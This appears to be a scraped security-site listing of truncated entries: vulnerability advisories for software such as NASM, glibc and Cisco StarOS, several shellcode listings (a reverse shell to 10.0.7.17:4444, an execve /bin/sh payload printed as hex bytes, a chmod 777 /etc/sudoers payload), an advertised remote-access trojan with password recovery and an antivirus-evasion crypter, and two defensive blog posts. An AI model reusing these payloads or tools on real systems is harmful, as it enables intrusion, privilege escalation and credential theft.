assembly.state.ny.us XSS vulnerability

Open Bug Bounty ID: OBB-650909 Description| Value ---|--- Affected Website:| assembly.state.ny.us Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

ACD Systems Canvas Draw 4 IO Metadata Out-of-Bounds Write Code Execution Vulnerability

Summary An exploitable out-of-bounds write exists in the PCX parsing functionality of Canvas Draw version 4.0.0. A specially crafted PCX image processed via the application can lead to an out-of-bounds write, overwriting arbitrary data. An attacker can deliver a PCX image to trigger this...

Cisco StarOS Denial of Service Vulnerability in Multiple Cisco Products

Cisco Virtualized Packet Core-Single Instance VPC-SI, Virtualized Packet Core-Distributed Instance VPC-DI, and Ultra Packet Core UPC are productized versions of StarOS software deployed on dedicated hardware platforms from Cisco. Cisco StarOS is one of the virtualization operating systems. A deni...

Linux/x86 - Reverse (10.0.7.17:4444/TCP) Shell (/bin/sh) Shellcode (101 Bytes)

/ Name : Jonathan "Chops" Crosby Email : email protected Twitter : @securitychops Website : https://securitychops.com Blog Post : https://securitychops.com/2018/05/21/slae-assignment-2-reverse-shell-tcp-shellcode.html Student ID : SLAE-1250 Assignment 2 : Reverse Shell TCP Linux/x86 Shellcode...

Linux/x86 - Reverse (10.0.7.17:4444/TCP) Shell (/bin/sh) Shellcode (101 Bytes)

Linux/x86 - Reverse 10.0.7.17:4444/TCP Shell /bin/sh Shellcode 101 Bytes. Shellcode exploit for Linuxx86 platform / Name : Jonathan "Chops" Crosby Email : [email protected] Twitter : @securitychops Website : https://securitychops.com Blog Post :...

Vayne-RaT - An Advanced C# .NET RAT

Vayne-RaT is Free and Open SourceRemote Administration Tool Coded In C. Features: Multi-Threaded CMD Shell File Manager Download & Upload Remote Desktop Password Recovery Assembly Builder Scan-Time Crypter FUD Requirements Stub Coded In .NET 2.0 Mono.Cecil.dll Dissembler Lib.dll BunifuUIv1.52.dll...

Linux/x64 - x64 Assembly Shellcode (Generator)

Linux/x64 - x64 Assembly Shellcode Generator. Shellcode exploit for Generator platform !/usr/bin/env python Features: - Linux shellcode x64 assembly code generation - stack based smaller payload size - execve based - supports long commands meaning bigger than an x64 register - 64 bits - supports...

Linux/x64 - x64 Assembly Shellcode (Generator)

!/usr/bin/env python Features: - Linux shellcode x64 assembly code generation - stack based smaller payload size - execve based - supports long commands meaning bigger than an x64 register - 64 bits - supports long parameters meaning bigger than an x64 register - 64 bits - one command only execve...

GNU C Library Denial of Service Vulnerability (CNVD-2018-05199)

The GNU C Library is an open-source, free, easy-to-download C compiler released under the LGPL license. A denial of service vulnerability exists in GNU C Library 2.26 in string/basename.c in basename. An attacker can exploit this vulnerability with specially crafted parameters to cause a denial o...

Linux/x86 ROT-N + Shift-N + XOR-N Encoded /bin/sh Shellcode (77 bytes)

/ Description ; Title : ROT-N + Shift-N + XOR-N encoded /bin/sh - Shellcode ; Author : Hashim Jawad ; Blog Post : https://ihack4falafel.com/2018/01/rot-n-shift-n-xor-n-shellcode-encoder-linux-x86/ ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : spawn /bin/sh shell ; Tested On : Ubunt...

FreeBSD/x86-64 - execve /bin/sh Shellcode (28 bytes)

/ Gitsnik, @dracyrys FreeBSD x8664 execve, 28 bytes / C source: char code = \ "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" "\x54\x5f\x52\x57\x54\x5e\x0f\x05"; Intel Assembly: global start ; ; 28 byte execve FreeBSD x8664 ; ; gitsnik@bsd64$ nasm -f elf64...

Alpha - /bin/sh Shellcode (80 bytes)

/ Lamont Granquist email protected email protected / int rawcode = 0x2230fec4, / subq $16,0x13c,$17 2000/ 0x47ff0412, / clr $18 2000/ 0x42509532, / subq $18, 0x84 2000/ 0x239fffff, / xor $18, 0xffffffff, $18 / 0x4b84169c, 0x465c0812, 0xb2510134, / stl $18, 0x134$172000/ 0x265cff98, / lda $18,...

Linux/x86 chmod 777 /etc/sudoers Shellcode (36 bytes)

/ Description ; Title : chmod 777 /etc/sudoers - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel.com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : chmod /etc/sudoers permissions ; OS : Linux ; Arch : x86 ; Size : 36 bytes chmod.nasm global start section .text start: ;...

DEBIAN-CVE-2017-17813

In Netwide Assembler NASM 2.14rc0, there is a use-after-free in the pplistonemacro function in asm/preproc.c that will cause a remote denial of service attack, related to mishandling of line-syntax errors...

Netwide Assembler 'find_cc()' Function Illegal Address Access Vulnerability

Netwide Assembler NASM is a Linux-based assembler that creates binaries and writes bootloaders. A security vulnerability in the 'findcc' function in the asm/preproc.c file in NASM version 2.14rc0 stems from the program's failure to validate pointers associated with skipwhite calls. A remote...

UBUNTU-CVE-2017-17814

In Netwide Assembler NASM 2.14rc0, there is a use-after-free in dodirective in asm/preproc.c that will cause a remote denial of service attack...

UBUNTU-CVE-2017-17818

In Netwide Assembler NASM 2.14rc0, there is a heap-based buffer over-read that will cause a remote denial of service attack, related to a while loop in pastetokens in asm/preproc.c...

ShellcodeToAssembly - Transform your Shellcode to Assembly (ARM, ARM64, MIPS, PPC, X86)

Transform your Shellcode to Assembly ARM, ARM64, MIPS, PPC, X86 Replace in shellcodetoasm.py with your shellcode. shellcode = '' Installation git clone https://github.com/blacknbunny/ShellcodeToAssembly.git && cd ShellcodeToAssembly/ && pip install -r requirements.txt && python2 shellcodetoasm.py...

On "Advanced" Network Security Monitoring

My TaoSecurity News page says I taught 41 classes lasting a day or more, from 2002 to 2014. All of these involved some aspect of network security monitoring NSM. Many times students would ask me when I would create the "advanced" version of the class, usually in the course feedback. I could never...

Recognizing and Avoiding Disassembled Junk

There is a common annoyance that seems to plague every reverse engineer and incident responder at some point in their career: wasting time or energy looking at junk code. Junk code is a sequence of bytes that you have disassembled that are not actual instructions executed as part of a program. In...